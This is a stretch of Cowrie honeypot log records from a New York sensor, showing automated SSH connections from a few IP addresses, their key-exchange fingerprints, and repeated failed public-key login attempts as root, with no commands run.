{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:31.884628Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:3d:6f:f6:f1:6f:36:a4:4f:6a:0b:12:dd:18:e6:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cd6h0tkkRgT4vHoYMdzLkgU0IsKmpE97STXrxwB+OKvSIuYShw/zDihL8pwySf1O3MzJpwEMSz7kMbarDNN+704D/7kglJc42Bk5hanJGldbG/jPengU2ucbO1XDhSppDbD+54cHCCBMoRxayY6OOD0oUX8uoExhpLNEHeIY4qxFEyOFwT5NzFsUYoneRNxZ554X1SO0z6cWjXFnb3r6k0REHFs+VpziW9piabXGGQ/VPuSvE6Gl0nYZlBsAajQ7UCre3grNUwk1UT4j+T4pc6VZ6G7VaMw/XInBKZG4kT1Y0AxykH2vg8bJ6mDJGh3cfqqlyhXvW+QLN2/jV2SH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:3d:6f:f6:f1:6f:36:a4:4f:6a:0b:12:dd:18:e6:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:32.894369Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:3d:6f:f6:f1:6f:36:a4:4f:6a:0b:12:dd:18:e6:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cd6h0tkkRgT4vHoYMdzLkgU0IsKmpE97STXrxwB+OKvSIuYShw/zDihL8pwySf1O3MzJpwEMSz7kMbarDNN+704D/7kglJc42Bk5hanJGldbG/jPengU2ucbO1XDhSppDbD+54cHCCBMoRxayY6OOD0oUX8uoExhpLNEHeIY4qxFEyOFwT5NzFsUYoneRNxZ554X1SO0z6cWjXFnb3r6k0REHFs+VpziW9piabXGGQ/VPuSvE6Gl0nYZlBsAajQ7UCre3grNUwk1UT4j+T4pc6VZ6G7VaMw/XInBKZG4kT1Y0AxykH2vg8bJ6mDJGh3cfqqlyhXvW+QLN2/jV2SH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:32.898365Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:fe:54:7c:a8:4b:d6:63:12:aa:88:f5:fc:ed:f0:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5L0M8cv0Wt8TABzqAkvCT3xr7GB4pNGNRPLdeZfpZw01MDZLvwZIQN0I7ImdBYjb5l/gmfiiQzz6UCpftiQUp3y3O59hiuN7tYn6/jLD9+CsfeOLRy6WCsSln8kMT+USbEZOnMNEEA3dwnmNvqXLeyzS/nS1aJhkrVbdj4StF6Xo/Sv/gc2F6Zs/uRWQVbtUMEWtdXmLFqVMlC44yW0wDLfpXNyoP3Uc8iVcgWUCBMq+Oqx2FiaQZOoS5T20sr7n0bvFLmogmDPW5McsP5oSNB26Na9sKbEn9Qg2X832E6dedIsRrlk1yTD/uGA2ZEBNy2t40T6EeHFOEtCgQehb3ckyI+Eks8YcMK9qkni99XqyKKYrPVscn+yJRvFCX5At98+iyOOznxuckszT9SgY05KBnuTqoGgERT7ogDTAm1xpB+L2Go46i+gd34tdiUwwG1eYoWHE4a8rym5J9SPtuNUjIYe/kG8Cs3aglWxnONOv95uqgeA2S7hKiMMF5band11wx0o++tqfn/tDLjafcAMyL7NEcFHbAr4wnFdUvws+HMzh3W4DLVVL2qAhXXhn8bK6MnyL3BDyymmtFloOg2kXo3hVWtn2yIiMirW6IQIhz8pDghd/TD4pvmDQfVwO2iG0oQlehKnNz/Kfk7I/Re/Yt8xiDohnNA3AqOuslTw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:fe:54:7c:a8:4b:d6:63:12:aa:88:f5:fc:ed:f0:2f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.105399Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:fe:54:7c:a8:4b:d6:63:12:aa:88:f5:fc:ed:f0:2f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5L0M8cv0Wt8TABzqAkvCT3xr7GB4pNGNRPLdeZfpZw01MDZLvwZIQN0I7ImdBYjb5l/gmfiiQzz6UCpftiQUp3y3O59hiuN7tYn6/jLD9+CsfeOLRy6WCsSln8kMT+USbEZOnMNEEA3dwnmNvqXLeyzS/nS1aJhkrVbdj4StF6Xo/Sv/gc2F6Zs/uRWQVbtUMEWtdXmLFqVMlC44yW0wDLfpXNyoP3Uc8iVcgWUCBMq+Oqx2FiaQZOoS5T20sr7n0bvFLmogmDPW5McsP5oSNB26Na9sKbEn9Qg2X832E6dedIsRrlk1yTD/uGA2ZEBNy2t40T6EeHFOEtCgQehb3ckyI+Eks8YcMK9qkni99XqyKKYrPVscn+yJRvFCX5At98+iyOOznxuckszT9SgY05KBnuTqoGgERT7ogDTAm1xpB+L2Go46i+gd34tdiUwwG1eYoWHE4a8rym5J9SPtuNUjIYe/kG8Cs3aglWxnONOv95uqgeA2S7hKiMMF5band11wx0o++tqfn/tDLjafcAMyL7NEcFHbAr4wnFdUvws+HMzh3W4DLVVL2qAhXXhn8bK6MnyL3BDyymmtFloOg2kXo3hVWtn2yIiMirW6IQIhz8pDghd/TD4pvmDQfVwO2iG0oQlehKnNz/Kfk7I/Re/Yt8xiDohnNA3AqOuslTw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.109274Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:0f:8b:2c:af:55:96:71:3c:9f:d1:ba:18:41:a2:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxZV5mUPk2//cTZ+veMPJKwr526ZtbuR0z4d9AUNzKy2FqFX0QFZxBwh7I4Ts7lXB7mrBkswpSwtXSQ/CE45sMjF1eKh8yYQWF1UMC9ReCJkaX1qBYlxeOKj4YJ0TsqoWosLfCxAnV75oxNhMF2G5QZeYxtFlCQYfnVmmBmeDHxfqkbYV+xqqGD58o7TKBudpVCYs07XqLct4F0TJnNstKUndYRgYHEcSUAwaMUHvGl9FsuhMvdOiOhmZ5bNlPnvXLqNXAeX0V94H+lmp6c/KpNbUIM50CoWIFmdONQDQA1TnM9PNLWK0SEp3Oe/CmqauYgYCr4E0nun+yrm4XTLcGmdZzzNsDh3qjcJou/z6XIclAOQ02ib5NLG1aF6xTvug+P8FDMniqoAyfp4o/3ztIEtOYbV2Bj2iy9c3yoUgfeepLixt/N0ymQopZLH2utXWD8UGoQ/zFdAM5lQykwk3JV7aWpEV6x4QlRRu9TfGY+2lsoPaBaw6BPrkeR8ZH2xuQz1kWpwc7HF2Ioq3fpyOiLId7/YJeYAnETa0DfutK5gAWP9B9VM8Eaw8i1S5hHYTujCu1O0D5lSd4aUT3cnqNV3Q4CRai+TiWJKsgY1DaU50plMrzP5AfhMix42jnb8uWrHkxblOKMbUtplNy9B4X+XsyGQlCvomIDkCKokgNgQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:0f:8b:2c:af:55:96:71:3c:9f:d1:ba:18:41:a2:a1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.317021Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:0f:8b:2c:af:55:96:71:3c:9f:d1:ba:18:41:a2:a1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCxZV5mUPk2//cTZ+veMPJKwr526ZtbuR0z4d9AUNzKy2FqFX0QFZxBwh7I4Ts7lXB7mrBkswpSwtXSQ/CE45sMjF1eKh8yYQWF1UMC9ReCJkaX1qBYlxeOKj4YJ0TsqoWosLfCxAnV75oxNhMF2G5QZeYxtFlCQYfnVmmBmeDHxfqkbYV+xqqGD58o7TKBudpVCYs07XqLct4F0TJnNstKUndYRgYHEcSUAwaMUHvGl9FsuhMvdOiOhmZ5bNlPnvXLqNXAeX0V94H+lmp6c/KpNbUIM50CoWIFmdONQDQA1TnM9PNLWK0SEp3Oe/CmqauYgYCr4E0nun+yrm4XTLcGmdZzzNsDh3qjcJou/z6XIclAOQ02ib5NLG1aF6xTvug+P8FDMniqoAyfp4o/3ztIEtOYbV2Bj2iy9c3yoUgfeepLixt/N0ymQopZLH2utXWD8UGoQ/zFdAM5lQykwk3JV7aWpEV6x4QlRRu9TfGY+2lsoPaBaw6BPrkeR8ZH2xuQz1kWpwc7HF2Ioq3fpyOiLId7/YJeYAnETa0DfutK5gAWP9B9VM8Eaw8i1S5hHYTujCu1O0D5lSd4aUT3cnqNV3Q4CRai+TiWJKsgY1DaU50plMrzP5AfhMix42jnb8uWrHkxblOKMbUtplNy9B4X+XsyGQlCvomIDkCKokgNgQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.321183Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:37:ee:46:27:36:44:ae:57:25:a4:b1:77:5f:8f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNn1wXzJ1wj1PO3GNCKNk3TzKobgycUL1G3izH9I+YWj65VL6jWCfRX0OvvkjgVCkWPwe0e1M6j2EHu2FN6lSlcqurhh4sYGXds+Wauh3P79ZLi09MTELp6KYFAZ30NngweTy48BrbJXoY7XR84R7ckmOESMhYSNu2DDcqkTGDwMG7+sARz1zGDfNM8sqqpOXvIBuZ/7GQ1q+011leBoX2eeRHsS0zkx78S7946u1dpRHgmLOT8g8/gQEth4MpyDVzA/XDb1lvu4NVb3FmnhFq4Xh9cGnJ5dZpqw2SvnwR8d/rsXX3b7sNHq45CJ/PU+z/QHrBR2QSNy813j2/PDXJWzTPk70WdrYuaY16TESlqQPOHClMpFmyxMZ/DG0yjqXTLRYF0F/bXjDlMslfbTCFjyDEAcy/eA9ez+l4IJXH+y9C8/pFfZgwv9gTdbr70M0MGGYz8RR13kg3Z74QX4QY7iP9aeX7cYKakqZuDgYk5YANKScABjOme5aLm4NNXV1ZsYYqf2iET/WbTxwwdVFlWox7IbSsRvyRcjAEOmICkzY+lep+4MrdKg7BZNNLObD2k5z5/3x2dLuDPIGOa40TlPLW1FI4BuEfJv2Xj/RYbmC3bLKIq9hUhSnI99j7AjzFlNjTIPhsJFxKaC92R1Iz08g7sE0dKYgJ9fBoxDL6CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:37:ee:46:27:36:44:ae:57:25:a4:b1:77:5f:8f:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.531907Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:37:ee:46:27:36:44:ae:57:25:a4:b1:77:5f:8f:bc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNn1wXzJ1wj1PO3GNCKNk3TzKobgycUL1G3izH9I+YWj65VL6jWCfRX0OvvkjgVCkWPwe0e1M6j2EHu2FN6lSlcqurhh4sYGXds+Wauh3P79ZLi09MTELp6KYFAZ30NngweTy48BrbJXoY7XR84R7ckmOESMhYSNu2DDcqkTGDwMG7+sARz1zGDfNM8sqqpOXvIBuZ/7GQ1q+011leBoX2eeRHsS0zkx78S7946u1dpRHgmLOT8g8/gQEth4MpyDVzA/XDb1lvu4NVb3FmnhFq4Xh9cGnJ5dZpqw2SvnwR8d/rsXX3b7sNHq45CJ/PU+z/QHrBR2QSNy813j2/PDXJWzTPk70WdrYuaY16TESlqQPOHClMpFmyxMZ/DG0yjqXTLRYF0F/bXjDlMslfbTCFjyDEAcy/eA9ez+l4IJXH+y9C8/pFfZgwv9gTdbr70M0MGGYz8RR13kg3Z74QX4QY7iP9aeX7cYKakqZuDgYk5YANKScABjOme5aLm4NNXV1ZsYYqf2iET/WbTxwwdVFlWox7IbSsRvyRcjAEOmICkzY+lep+4MrdKg7BZNNLObD2k5z5/3x2dLuDPIGOa40TlPLW1FI4BuEfJv2Xj/RYbmC3bLKIq9hUhSnI99j7AjzFlNjTIPhsJFxKaC92R1Iz08g7sE0dKYgJ9fBoxDL6CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.536191Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:c0:f7:11:c6:11:0d:e5:26:9e:59:19:86:f2:dc:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApXw9JCyMral4ENmtJN3ii3r9aY8MZTyKdRFeoP7ZNecqMJ3VcSDZ8gy3XzjeIQpnCSR5Zx+203KP4FHzsaGYMW1mPgO6RumkxeKLWFt1OeBv1xAY5AhKibwV0Ad3hDcCbOpQZK7D0Ijqm771oOjYOlJJ+Yf2mk1qqaQgqcTPMhTFoL8Ot9rQW1iNFNTCOtdiL3xItTooG9oXlEtSXCv43x0DoEIBhK7XDZuv3NAKdybv7XNtIdtU6VN/NABTSW6k5+hAUBN/Fj2QL587gBom+rfSXjTj16waHDmxI1ViGWk4K79IJIiRIKAyPsnUXMJZUN1Hd0ebGc1HJCrhBOiVLw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:c0:f7:11:c6:11:0d:e5:26:9e:59:19:86:f2:dc:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.743921Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:c0:f7:11:c6:11:0d:e5:26:9e:59:19:86:f2:dc:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApXw9JCyMral4ENmtJN3ii3r9aY8MZTyKdRFeoP7ZNecqMJ3VcSDZ8gy3XzjeIQpnCSR5Zx+203KP4FHzsaGYMW1mPgO6RumkxeKLWFt1OeBv1xAY5AhKibwV0Ad3hDcCbOpQZK7D0Ijqm771oOjYOlJJ+Yf2mk1qqaQgqcTPMhTFoL8Ot9rQW1iNFNTCOtdiL3xItTooG9oXlEtSXCv43x0DoEIBhK7XDZuv3NAKdybv7XNtIdtU6VN/NABTSW6k5+hAUBN/Fj2QL587gBom+rfSXjTj16waHDmxI1ViGWk4K79IJIiRIKAyPsnUXMJZUN1Hd0ebGc1HJCrhBOiVLw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.747995Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:33.955267Z","src_ip":"139.180.163.29","session":"79f5da03ada0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":51998,"dst_ip":"10.17.0.5","dst_port":22,"session":"91a222e43489","protocol":"ssh","message":"New connection: 103.149.26.43:51998 (10.17.0.5:22) [session: 91a222e43489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:55.123712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:55.129375Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:55.348572Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.243.107","src_port":16089,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f3565c4d73","protocol":"telnet","message":"New connection: 186.195.243.107:16089 (159.203.135.109:23) [session: 50f3565c4d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:55.839545Z"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:d3:15:57:aa:22:dc:be:01:69:08:84:33:0c:f2:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFrhdMxLORVy3NBwLQLGqxLTv3EcPXRvfGTNf70gXGjs","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c9:d3:15:57:aa:22:dc:be:01:69:08:84:33:0c:f2:d4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.420318Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:d3:15:57:aa:22:dc:be:01:69:08:84:33:0c:f2:d4","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFrhdMxLORVy3NBwLQLGqxLTv3EcPXRvfGTNf70gXGjs","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.424383Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:e7:36:66:99:12:0a:88:12:a9:f4:b9:d6:ff:92:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmYeNIjcgGYRxgXLprub+O+i4Je417MwYtNLRJbUboKQBTG+1Ab6/FNi+3tcdlNn7TV3QTXyWxtKrsU6lz6SshjTmZLz8nYr4tewMpXBa1L6FUNvycc8YdBQEvgseMLy+PXOY5liGB7aUVRfDd6OPNZNg6VauE2i96HKKPWbCR4S9VU3EhG3GaF3AVCJI5l29Ry3Qe+Hj1IKj340KI/jtWJ8WrXw7/pag5Ef2kvd3crJUUji2hYaC4arB5IBnd6c/TQ71q6DBp2M8RfjMt+8FgkejzTqtwybAwE9+/OUwLqdFSCqscHS1tsyRFmuCfRXt5dqp7tI0PHTEnnQ6c8gq5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:e7:36:66:99:12:0a:88:12:a9:f4:b9:d6:ff:92:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.646673Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:e7:36:66:99:12:0a:88:12:a9:f4:b9:d6:ff:92:b9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmYeNIjcgGYRxgXLprub+O+i4Je417MwYtNLRJbUboKQBTG+1Ab6/FNi+3tcdlNn7TV3QTXyWxtKrsU6lz6SshjTmZLz8nYr4tewMpXBa1L6FUNvycc8YdBQEvgseMLy+PXOY5liGB7aUVRfDd6OPNZNg6VauE2i96HKKPWbCR4S9VU3EhG3GaF3AVCJI5l29Ry3Qe+Hj1IKj340KI/jtWJ8WrXw7/pag5Ef2kvd3crJUUji2hYaC4arB5IBnd6c/TQ71q6DBp2M8RfjMt+8FgkejzTqtwybAwE9+/OUwLqdFSCqscHS1tsyRFmuCfRXt5dqp7tI0PHTEnnQ6c8gq5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.651007Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:6e:0e:08:ba:c8:db:87:5d:f5:d9:b4:17:77:f4:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtVgfdFvCOQhKegV7EosgjjNSYvNErCm1x11i/NIgTMqNeJbFRXHwPHEZZSxmoZcsvS44UsQXydrWjfbozkDl2oKg1DrjvPBiEOoLA1F08OhDY0vMjXRfviBUc6z08dBIgC4CJc4iZxc0tK6pflcPJvBiWtSHOLl4g6e1BZO3naH7VEnS7FkiTsJkaBXpScH2Hw950tC+edVdGr9o9f3W8jiJ+K64aq8aeSueTTL7hM6lvk1aom+j2qbcwYosgrkUMzdg1hMLQISky1er6116HL1N97fmowfC1DaGzq0PHHuqp7V1NmdkdpLOrItpbyQJoaKqodL0vBY1WLtDj1X3t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:6e:0e:08:ba:c8:db:87:5d:f5:d9:b4:17:77:f4:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.869936Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:6e:0e:08:ba:c8:db:87:5d:f5:d9:b4:17:77:f4:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtVgfdFvCOQhKegV7EosgjjNSYvNErCm1x11i/NIgTMqNeJbFRXHwPHEZZSxmoZcsvS44UsQXydrWjfbozkDl2oKg1DrjvPBiEOoLA1F08OhDY0vMjXRfviBUc6z08dBIgC4CJc4iZxc0tK6pflcPJvBiWtSHOLl4g6e1BZO3naH7VEnS7FkiTsJkaBXpScH2Hw950tC+edVdGr9o9f3W8jiJ+K64aq8aeSueTTL7hM6lvk1aom+j2qbcwYosgrkUMzdg1hMLQISky1er6116HL1N97fmowfC1DaGzq0PHHuqp7V1NmdkdpLOrItpbyQJoaKqodL0vBY1WLtDj1X3t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:56.873949Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:fd:13:4a:36:a6:2b:85:3f:20:91:f4:33:85:84:02","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxrdmy3kcSXkLhxYrGeW39XN9de+MJ37tsOt+/D+K2b","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 62:fd:13:4a:36:a6:2b:85:3f:20:91:f4:33:85:84:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:48:57.093311Z","src_ip":"103.149.26.43","session":"91a222e43489","protocol":"ssh"}
